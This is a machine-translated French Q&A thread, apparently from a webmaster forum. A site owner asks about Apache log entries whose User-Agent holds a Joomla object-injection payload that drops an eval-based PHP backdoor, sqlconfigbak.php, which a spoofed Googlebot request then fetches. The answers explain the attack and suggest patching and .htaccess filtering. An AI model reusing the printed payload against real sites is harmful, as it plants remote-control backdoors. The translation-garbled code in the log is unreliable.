L'identification d'agent d'utilisateur a-t-elle été utilisée pour une technique d'attaque de script?
Les entrées du journal d'accès Apache sur mon site sont généralement similaires à celle-ci:
207.46.13.174 - - [31/Oct/2016: 10: 18: 55 +0100] "GET/contact HTTP/1.1" 200 256 "-" "Mozilla/5.0 (compatible; bingbot/2.0; + http: // www .bing.com/bingbot.htm) "0,607 MISS 10.10.36.125:104 0,607
vous pouvez donc y voir le champ user-agent. Mais aujourd’hui, j’ai également trouvé un champ d’agent d’utilisateur utilisé comme ceci:
62.210.162.42 - - [31/Oct/2016: 11: 24: 19 +0100] "GET/HTTP/1.1" 200 399 "-" "} __ test | O: 21:" JDatabaseDriverMysqli ": 3: {s: 2 : "fc"; O: 17: "JSimplepieFactory": 0: {} s: 21: "\ 0\0\0disconnectHandlers"; a: 1: {i: 0; a: 2: {i: 0; O: 9: "SimplePie": 5: {s: 8: "désinfecter"; O: 20: "JDatabaseDriverMysql": 0: {} s: 8: "feed_url"; s: 242: "contenus_de_fichier ($ _ SERVER [" DOCUMENT_ROOT ") ] .chr (47). "sqlconfigbak.php", "| = |\x3C" .chr (63). "php\x24mujj =\x24_POST ['z']; if (\ x24mujj! = '') {\ x24xsser = base64_decode (\ x24_POST ['z0']); @ eval (\ "\\\ x24safedg =\x24xsser; \");} "); JFactory :: getConfig (); exit;"; s: 19: " cache_name_function "; s: 6:" assert "; s: 5:" cache "; b: 1; s: 11:" cache_class "; O: 20:" JDatabaseDriverMysql ": 0: {}} i: 1; s: 4: "init";}} s: 13: "\ 0\0\0connection"; b: 1;} ~ Ů "0.304 BYPASS 10.10.36.125:104 0.304
Était-ce une attaque? L'entrée suivante du journal semble avoir récupéré avec succès (code 200) le fichier sqlconfigbak.php mentionné dans le script. Bien que je ne trouve pas le fichier dans le système de fichiers:
62.210.162.42 - - [31/Oct/2016: 11: 24: 20 +0100] "GET //sqlconfigbak.php HTTP/1.1" 200 399 "http://www.googlebot.com/bot.html" "Mozilla /5.0 (compatible; Googlebot/2.1; + http: //www.google.com/bot.html) "0.244 BYPASS 10.10.36.125:104 0.244
S'il vous plaît ce qui se passait ici?
Ceci est une attaque Joomla 0 Day. Informations trouvées ici: https://blog.sucuri.net/2015/12/remote-command-execution-vulnerability-in-joomla.html
Ce n'est pas un test de vulnérabilité malgré le __test. C'est une attaque.
Assurez-vous que toute installation de Joomla est aussi à jour que possible.
Une autre option consiste simplement à utiliser .htaccess pour intercepter cet exploit en recherchant une chaîne commune; "__test" fonctionnerait et une redirection vers un autre emplacement.
L'adresse IP que vous avez liée ne se résout pas en un nom d'hôte Google. Ce n'est donc pas Google. La personne ou le bot analyse votre site pour les vulnérabilités. Le premier tente de trouver une vulnérabilité de Joomla.
Ces événements sont fréquents sur la plupart des sites Web. Vous devez vous assurer de suivre les meilleures pratiques et de renforcer votre site Web. Le processus est long et vous devrez trouver et suivre un didacticiel en ligne.
En plus des autres réponses, notez que le fait que cette attaque ait fonctionné semble indiquer que vous utilisez une ancienne version de PHP non sécurisée. Un correctif pour le problème d'explosion de cette attaque a été publié en septembre 2015. Lancez votre processus de mise à jour et assurez-vous qu'il récupère la version la plus récente de PHP. Recherchez également d’autres programmes obsolètes faisant face à Internet, car il semble que votre serveur n’ait pas été mis à jour depuis au moins un an.